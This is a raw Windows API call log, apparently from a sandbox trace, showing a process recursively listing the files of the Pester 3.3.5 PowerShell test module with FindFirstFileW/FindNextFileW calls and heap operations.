	[0161.292] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0
	[0161.292] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0161.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0161.293] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1
	[0161.293] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0161.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0161.293] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.293] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.293] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2954, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0
	[0161.293] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0161.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0161.294] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0
	[0161.294] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0161.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0161.294] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1
	[0161.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0161.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0161.308] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.309] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1
	[0161.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0161.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Functions\\Assertions\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0161.333] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524d244, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x326cf05, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.333] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x356e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.ps1", cAlternateFileName="")) returned 1
	[0161.333] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x339d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.333] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2794, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1
	[0161.333] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x281d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.333] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efa7ee8, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efa7ee8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efa7ee8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1
	[0161.333] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.333] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2861, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1
	[0161.333] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.334] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.ps1", cAlternateFileName="")) returned 1
	[0161.334] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.334] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1
	[0161.334] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e66ad38, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e66ad38, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e66ad38, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.334] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2739, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.ps1", cAlternateFileName="")) returned 1
	[0161.334] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2787, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.334] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.ps1", cAlternateFileName="")) returned 1
	[0161.334] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2869, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.334] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1
	[0161.335] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2815, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.335] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1
	[0161.335] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x395e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.335] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3239, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.ps1", cAlternateFileName="")) returned 1
	[0161.335] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b3d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.335] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1
	[0161.335] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0
	[0161.335] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0161.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0161.336] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1
	[0161.336] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.336] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x686e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1
	[0161.337] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1
	[0161.337] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1
	[0161.337] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1
